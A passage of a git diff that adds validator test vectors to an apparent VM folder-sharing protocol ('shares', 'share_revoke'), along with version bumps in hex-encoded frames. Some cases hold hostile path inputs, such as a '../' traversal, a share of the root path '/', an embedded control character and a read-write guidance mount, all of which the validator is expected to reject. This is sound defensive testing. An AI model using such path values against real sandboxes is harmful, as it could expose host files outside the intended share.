iOiI2NjY2NjY2Ni03Nzc3LTQ4ODgtODk5OS1hYWFhYWFhYWFhYWEiLCJmaWxlc3lzdGVtQmxvY2tCeXRlcyI6NDA5NiwiZmlsZXN5c3RlbUZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImZpbGVzeXN0ZW1UeXBlIjoiZXh0NCIsImZpbGVzeXN0ZW1VVUlEIjoiNjY2NjY2NjYtNzc3Ny00ODg4LTg5OTktYWFhYWFhYWFhYWFhIiwiZmx1c2hDb25maXJtZWQiOnRydWUsImZ1bGxSZWFkT25seUNoZWNrIjpmYWxzZSwiaWRlbnRpdHkiOnsiZGV2aWNlIjoiMTY3NzcyMzQiLCJpbm9kZSI6IjE4NDQ2NzQ0MDczNzA5NTUxNjE1IiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sImpvdXJuYWxSZXBsYXkiOiJub25lIiwiam91cm5hbFJlcGxheWVkIjpmYWxzZSwicHVycG9zZSI6ImVudmlyb25tZW50IiwicmVhZHlPcGVyYXRpb25JZCI6bnVsbCwic2VjdG9yQnl0ZXMiOjUxMiwidHJhbnNpZW50RmlsZXN5c3RlbUZlYXR1cmVzIjpbXSwidm9sdW1lSWQiOiJ2b2x1bWVfZGRkZGRkZGQifV0sIndvcmtzcGFjZUlkIjoid29ya3NwYWNlXzExMTExMTExLTExMTEtNDExMS04MTExLTExMTExMTExMTExMSJ9fQ==\"}\n", "error": "unknown_type" }, { @@ -668,6 +738,146 @@ "rights": 0, "line": "{\"v\":1,\"t\":\"begin\",\"id\":\"req-0001\",\"homeId\":\"home_99999999-9999-4999-8999-999999999999\",\"workspaceId\":\"workspace_11111111-1111-4111-8111-111111111111\",\"incarnationId\":\"inc-22222222-2222-4222-8222-222222222222\",\"leaseEpoch\":3,\"admissionId\":\"adm-33333333-3333-4333-8333-333333333333\",\"controllerInstanceId\":\"ctl-0b0b0b0b-0b0b-4b0b-8b0b-0b0b0b0b0b0b-a1b2c3d4\",\"workerInstanceId\":\"wrk-44444444-4444-4444-8444-444444444444\",\"runtimeImageDigest\":\"abababababababababababababababababababababababababababababababab\",\"vcpus\":2,\"memoryMiB\":768,\"receiptKey\":\"c3ludGhldGljLXJlY2VpcHQta2V5LTAxMjM0NTY3ODk=\"}\n", "error": "version" + }, + { + "name": "shares-wrong-rights", + "direction": "to-launcher", + "rights": 1, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_rights" + }, + { + "name": "shares-no-rights", + "direction": "to-launcher", + "rights": 0, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_rights" + }, + { + "name": "shares-travelling-to-daemon", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_direction" + }, + { + "name": "shares-relative-path", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-dotdot-path", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/../notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-trailing-slash", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes/\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-root-path", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-control-character", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Proj\\u0007ects\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-nested-paths", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/Projects/notes/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-equal-paths", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-same-identity", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-guidance-read-write", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-mode-unknown", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"wo\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-device-not-decimal", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"0x1000012\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-duplicate-tag", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"src-0\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "error": "bad_field" + }, + { + "name": "shares-empty", + "direction": "to-launcher", + "rights": 0, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[]}\n", + "error": "bad_field" + }, + { + "name": "share-revoke-bad-tag", + "direction": "to-launcher", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_revoke\",\"id\":\"req-revoke-1\",\"tag\":\"SRC_0\"}\n", + "error": "bad_field" + }, + { + "name": "share-revoke-with-rights", + "direction": "to-launcher", + "rights": 1, + "line": "{\"v\":2,\"t\":\"share_revoke\",\"id\":\"req-revoke-1\",\"tag\":\"src-0\"}\n", + "error": "bad_rights" + }, + { + "name": "share-revoked-travelling-to-launcher", + "direction": "to-launcher", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_revoked\",\"tag\":\"src-0\"}\n", + "error": "bad_direction" + }, + { + "name": "share-notice-unknown-kind", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_notice\",\"tag\":\"src-0\",\"kind\":\"makefile\"}\n", + "error": "bad_field" } ] } diff --git a/packages/core/test/cowork/native/vectors/mux-frames.json b/packages/core/test/cowork/native/vectors/mux-frames.json index 40112396a..830afae35 100644 --- a/packages/core/test/cowork/native/vectors/mux-frames.json +++ b/packages/core/test/cowork/native/vectors/mux-frames.json @@ -47,42 +47,42 @@ { "name": "bootstrap-up-hello", "direction": "up", - "hex": "574d583101010000010000008c0000007b2276223a312c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d64617461222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", + "hex": "574d583101010000010000008c0000007b2276223a322c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d64617461222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", "class": "bootstrap", "seq": 1 }, { "name": "bootstrap-down-plan", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "class": "bootstrap", "seq": 1 }, { "name": "bootstrap-up-receipt", "direction": "up", - "hex": "574d58310101000002000000840900007b2276223a312c2274223a2272656365697074222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c2272656365697074223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d58310101000002000000840900007b2276223a322c2274223a2272656365697074222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c2272656365697074223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "class": "bootstrap", "seq": 2 }, { "name": "bootstrap-up-fault", "direction": "up", - "hex": 